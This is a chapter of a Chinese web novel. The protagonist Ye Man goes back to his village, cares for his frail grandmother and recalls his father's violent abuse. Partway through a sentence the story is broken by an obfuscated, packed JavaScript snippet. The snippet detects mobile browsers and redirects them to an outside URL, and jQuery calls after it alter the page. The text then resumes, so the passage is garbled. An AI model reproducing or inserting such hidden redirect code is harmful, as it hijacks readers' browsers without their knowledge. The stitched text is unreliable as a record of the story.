网约车司机是个沉默寡言的中年男人，车里有淡淡的尿骚味儿，但是叶满并不介意。
他们上了高速，这会儿路上没什么车，一路坦途。
两侧是黑漆漆的夜色，像是沉寂的荒原，那么孤单。
握在掌心的手机震动一下，他迟钝地从窗外收回目光，落在手机屏幕上。
是爸爸又发来的消息：“儿子，什么时候到家？吃饭了吗，我刚给你买了烤鸭。”
这一路上，他已经打了三通电话，发了
叶满呆了一会儿，慢吞吞回复：“到家都半夜了，你们先睡吧。”
爸爸：“哪能睡？你在路上，我担心得睡不着。”
叶满想要说点关心的话，可他实在觉得难以出口，只能不再回。
聊天界面有很多条未读消息，多数是工作信息，他机械地一个一个点掉。
手指在一个对话框上悬了片刻，那条对话框没有更新，韩竞没再给他发消息。
叶满沉默片刻，手指轻轻落下。
长按，删除对话框。
于是，他们相识以来的所有聊天信息，都消失了，就像第二天的大扫除，把韩竞存在过的痕迹一点点抹除一样。
他不敢睡觉，怕司机犯困，那条路太远了，到地方都半夜了也未必能找到地方休息，他决定再给这位司机加点钱。
十一点多，到了家门口，大门正敞着，家里那两间小平房亮着灯，窗帘没拉，外面总是比里面看得更加清晰，能看见爸爸正在屋里走来走去，像是在焦虑一样，妈妈在厨房忙碌。
大概是听到声响，两个人一起跑了出来。
叶满下车，多给司机塞了一百块钱，弯腰跟里面的人说：“往东六里有个镇子，那儿有招待所，辛苦你了。”
司机乐呵呵接了钱，说自己直接回冬城，就掉头走了。
而叶满心里却有一点不好受，他看着车远去的光线，就像这个没有路灯的陌生乡村里一盏孤独的灯，深夜一个人在为了生活奔忙，二百多公里的路，司机得一个人在深夜里跑回去。
他已经付过钱了，他也多给了一百块，可他还是内疚，或者说他很容易把别人的感受投注在自己身上，替别人感到压力、孤独和疲惫。
他总是这样。
爸妈迎了上来。
对于他回来一趟花了五六百块的事儿，妈妈非常不满，她一直在唠叨，叶满走到哪里她唠叨到哪里。
叶满很困。
他想去姥姥家看看，但是姥姥家的灯已经灭了，只能跳过墙进去，趴在窗边偷偷往里看。
手电灯光照进去，他看到半年没去的姥姥家的地上，多了一幅拐杖，还有一个轮椅。
这让他有点难过，他觉得时间过得太快了，他好像还是个孩子，但姥姥已经老去了。
“别说我儿子。”
爸爸笑着训斥喋喋不休的妈妈，给叶满倒了水，笑着说：“我儿子爱做什么做什么。”
夏季的乡村夜里总是吵闹的，夏虫和青蛙像星星一样，分布在田野与山间，叫起来时就织成了网，此起彼伏，有自个儿的调调，风吹过作物和树林的声音刷啦啦，很像像海浪翻涌的声音。
这样的背景音里，村子里的人都已经睡下了。
爸妈高高兴兴说着话，互相打趣，和睦又温馨。
叶满太累了，他脸上甚至没办法撑出太大的笑意，吃饭速度很慢。
爸爸留意到他的脸色，关心地询问：“儿子，是不是工作不顺心？”
叶满摇摇头。
“不顺心就回来，”爸爸说：“爸养的起你。”
叶满笑笑，没吭声。
爸爸拍拍他的肩：“你得学着坚强点，你看我年轻的时候，每天干那么重的活儿也没像你一样。”
叶满心底涌出一股子焦躁，他讨厌这个人的说教，而且他没有什么不顺心，他只是累。
蛾子绕着钨丝灯泡飞舞，阴影一起一伏落在饭桌上，叶满打断了爸爸像教育三岁孩子一样的语调对他的耐心教导。
叶满三岁时只收到了来自这个人的恐怖殴打与攻击，生活在恐惧之中，没有人对他慢声细语说话，他现在已经二十七了，他已经不是小孩儿了，可他得到了这样的待遇。
他除了可笑荒诞与嫌恶，没有任何其他感觉。
他慢吞吞说：“我就是路上有点累。”
妈妈解救了他：“给你铺好床了，快去睡吧。”
叶满很累很累了，却根本睡不着。
他的身体很沉，脑袋里有一根神经一闪一闪地疼，就像是有个看不见的小人在里面，一会儿就弹一下。
家里还是原来的老房子，但是叶满已经不和爸妈一起睡了，他睡在一张折叠床上，在大堂靠近门口的位置，这里他能听到蝉鸣声很大，几乎贴着他的耳朵在叫。
爸爸已经完全变了，他不再像叶满小时候那样频繁打人，不会拿着菜刀砍妈妈和自己，不会开车撞他们。
恍恍惚惚间，叶满有点想不起来爸爸有多少年没对他动过手了。
枕侧的手机忽然震动一下，叶满迟钝地点开看，是韩竞发来的。
他眯着眼睛，微凉的指尖摸着那行字，一个一个看过去。
韩竞：“小满，我给你买了个礼物，明天就到了。”
他知道叶满失眠，这个时间或许还在睁着眼睛。
叶满在心里说：“我不要。”
韩竞没再发消息过来。
叶满敛眸，关掉了手机屏幕。
太阳升起时，天边总是先红一块儿，乡村和城市的清晨不同，五点钟多数人家就已经起了，开始一天的劳作。
叶满不喜欢太阳刚起来那会儿，因为爸妈总是早早起来，一言不发地忙碌，大部分时候他们心情都不好，叶满如果早起，多数会被骂碍事，如果不起，他就会非常愧疚。
因为那往往伴随着爸妈的那种话——“我们努力都是为了你”、“我们是因为你才这么累的”、“真享福啊，躺在那儿就有人伺候。”
露水从向日葵的圆叶子上滚落下来，麻雀在屋檐上叽叽喳喳。
叶满躺在折叠床上，闭着眼睛，他听到爸妈轻手轻脚的忙碌和交谈，爸爸说小声点，别吵醒他，妈妈走过来，在叶满身旁放了她洗干净的、叶满曾经穿过现在不稀罕要了的旧衣裳。
叶满眼眶一阵酸涨，他觉得生活很美好，可又有什么，强压在这种感觉之上，他无法踏实去体验这种温暖，他觉得这种美好像是架在空中的楼阁。
爸妈都去了院子里，他才睁开眼睛，沉默地换好衣服，那些他早就抛弃的衣服被妈妈保存得非常整洁，和她那少数几件外出才会穿的体面衣服放在一起，好好保管。
有一种木头柜子特有的闷气。
他穿着这件衣服去了姥姥家，姥爷已经七八十岁，但是仍然硬朗，一大早就在院子里忙碌，浇水除草。
看叶满回来，立刻停下动作，那张布满褶皱的脸上稍微露出了点笑模样，扬声问：“什么时候回来的？”
叶满也吼了回去：“昨天晚上！”
姥爷的耳朵聋了挺久了，记不清楚从什么时候开始的，叶满在他身边长大，可有些变化他只是懵懂无知。
姥爷点点头，又低头继续劳作，叶满和他没什么话说，即使已经半年没见了。
他进了姥姥家的房子，小砖房里头落了一层油腻腻的灰，粉色的苍蝇药被装在碟子里，放在地上，里边倒下一层黑乎乎的苍蝇尸体。
姥姥坐在炕头，苍老的脸上泛红，那是高血压导致的，她正发着呆，叶满不知道她在想什么，是想自己癌症死去的大儿子，还是早就移居深圳，一年也不会联系她两次的儿子。
或者，她是在想自己的腿，以后或许离不开拐杖，离不开家门了。
叶满有点想哭，姥姥说他眼窝子浅，一个男孩儿，却总是爱哭，他上网查了，人家都说这叫泪失禁。
他走进屋子，姥姥这才看见了他。
她立刻笑起来，可叶满总觉得她呆呆的，眼睛看着自己，却在走神。
叶满很怕她不认识自己了，走过去，蹲在她脚下，弯唇说：“姥姥，你腿好点了吗？”
“你怎么回来了？”姥姥笑呵呵说：“我没事啊。”
叶满看见，姥姥的腿正在发抖，即使她正静止着，她的腿仍在不断发抖，以肉眼可见的频率。
叶满小时候会和表弟一起给姥姥按摩腿，他们都是在姥姥家长大的，那时候姥姥很能干，她会绣花、做鞋，也能上山下田，晚上昏黄的灯光下头，他给姥姥捏手骨节、捏腿，姥姥说：“明天要下雨了，因为关节开始疼了。”
现在，孩子们都长大了，已经离开了这个老房子，她一个人坐在那里，就像被遗弃在岁月里的一尊土雕像。
叶满碰她一下，都怕把她弄坏了。
他还是哭了，趴在姥姥身上，哽咽着哭，没出声来。
屋子里那颗十来年的老月季开着花，年年就那么一两朵，夏天的风从窗外吹进来，摇曳着花枝，些微搅动这满屋子阴闷的潮气。
姥姥的手搭在腿上，她低头看叶满，用一种茫然的语气说：“哭什么？”
叶满没说话，她又说：“你也不嫌弃我身上不干净。”
叶满怎么会嫌弃呢？
他撸起袖子，利索地收拾起了房子。
柜子、电器、脏衣服，一样一样擦，一样一样洗。
姥姥看着他忙来忙去，偶尔搭句话，叶满回一句，她都好像要想好一会儿似的。
等弄完了，屋子里亮亮堂堂，已经快中午了。
他累着了，爬上炕，躺在姥姥的枕头上睡着了。
再醒的时候已经过了晌午，姥爷做好了饭。
叶满不喜欢他做的饭，总是乱炖。
他有点懊恼，本来应该他做的。
刚搬了个凳子坐下来，妈妈给他打电话，让他回去吃。
叶满让他们先吃，陪两个老人吃了午饭。
他预备下午带着姥姥出去透透气，有轮椅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424862|169117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也方便。
跟姥姥说好了，他才回了家。
往南一百来米的距离就是他家，回到家时，妈妈还等着他，爸爸没在家。
叶满随口问了句：“他去哪了？”
“去城里了，有人雇车，”妈妈说：“应该快回来了。”
家里很无聊，叶满没有玩伴，那些同龄的孩子要么结婚了，要么在外飘着，发展都比叶满要好。
他终究成了爸爸口中的废物。
他又坐下陪妈妈吃了一点，听她说表弟前些天又回南方了，说他现在过得多威风，都创业了。
叶满想告诉妈妈中彩票的事儿，但是话到了嘴边，又说不出来。
他也不知道为什么，他觉得这事儿很难跟爸妈说出口，好像有什么阻碍似的。
“你知道吗？”妈妈吃菜只吃盘子里的葱姜蒜，主菜一口不动，即便菜很大一份，即便叶满不爱吃那道菜。
妈妈说：“李平要结婚了。”
叶满夹菜的动作一顿，敛眸说：“你吃点菜。”
妈妈：“我这不是舍不得吃嘛，省一点给你吃。”
又是这样，又是这样，她总是做这样的事，一件无意义的事，一句随口的话，就让叶满充满愧疚。
妈妈继续吃她的葱姜蒜，说：“我刚刚说李平要结婚了。”
叶满盯着那盘足够三四人吃的土豆鸡翅，说：“我不关心。”
妈妈啧啧道：“人家现在可牛了，成了个护士，一个月七千呢。”
叶满咬了下嘴唇，淡淡说：“别说他了。”
妈妈兴高采烈地说：“你认识他老婆不？你们高中是一个学校的。”
叶满：“我不想听别人家的事。”
“小两口看着关系可好了。”妈妈：“十一结婚，你去不去？”
叶满的手有点发抖，好像有什么东西从心底溢出，越来越浓，几乎冲出他的脑壳。
他放下筷子，有些尖锐道：“不要再说了！”
他太难受了，每一次他都要和妈妈说好多遍，她才能真正听一下自己的诉求。
比如他小时候不爱吃面条，每一次超过半碗就会生理性恶心，爸爸不在的每一天晚上她都问叶满，明天吃什么。
叶满说想吃肉。
妈妈忽略他的话，问：“面条行吗？”
叶满说他不爱吃面条。
妈妈第二天做饭前，又会说一遍：“咱俩做点面条凑合吧。”
叶满再次说他不想吃。
妈妈把面拿出来，自说自话：“咱俩吃点面条就行了。”
直至叶满崩溃，小小的他站在一旁，大哭着说：“我不要吃面条，我不想吃面条！我吃面条会胃疼！”
可面条已经做好了。
他不想听一个欺负过自己的人过得多好多好，妈妈明知道自己被他欺负过，根本不会去参加婚礼，他更难过的是妈妈从来不听他讲话，直至他大发脾气。
妈妈连忙小心翼翼地说：“吃饭吃饭，不说了。”
叶满已经没有任何胃口，他觉得自己的情绪很差，就想有一团火，忽然喷发出来，又因为顷刻没了针对物，只能隐隐灼烧着自己的心脏。
人在情绪低落的时候，是真的会丧失味觉的，叶满现觉得嘴里的东西就像蜡一样难吃。
他缓了口气，低头，继续慢慢吃。
妈妈不再说话，就像每一次被爸爸训斥后的样子一样，小心翼翼的。
这让叶满更加难受，明明窗开着，充满苍翠绿色的清新空气正在流通，他却觉得窒息。
他内疚自己不该发脾气，恐惧自己终于变成了爸爸一样的人。
没过多大会儿，大门外响起了车声。
叶满闷着头，没有向外看。
有男人吵吵嚷嚷的交谈声从院外传过来，叶满的心脏顺时捏紧，觉得鼻腔里都是那种臭烘烘的酒味儿，还有，一种恐惧的厌恶。
脚步声走近，纱门被推开，爸爸和三叔走了进来。
叶满没有向亲戚打招呼，因为他没礼貌，而且对于这些从小到大并没有对他有过什么宠爱的长辈们有什么感情。
小时候这种行为会让爸爸生气，他认为叶满不是场面人、给他丢脸。每次见亲戚时都要冷着脸给他使脸色，让他怕得战战兢兢，浑身发抖，只要出了门，亲戚看不到的地方，或是树林，或是人来人往的街道，他就会用大巴掌抽叶满，用脚踹叶满的头。
叶满村子里有个大头娃娃，是个智商不太好的男孩儿，他三岁的时候不小心被家长开车压过脑袋，以后就长不高了，而且脑袋还越来越大。
叶满怕自己也变成那样，就蜷缩在地上用力抱着头，求他不要打了，别让自己变成大脑袋。
现在爸爸不会这样了，他用一种很骄傲的眼神儿看叶满，笑得心满意足，醉醺醺的大舌头张扬地问：“怎么了儿子？看着不高兴呢？”
叶满试图笑笑，可一呼吸他就能嗅到那种让人作呕的酒味儿。
叶满低下头，没吭声。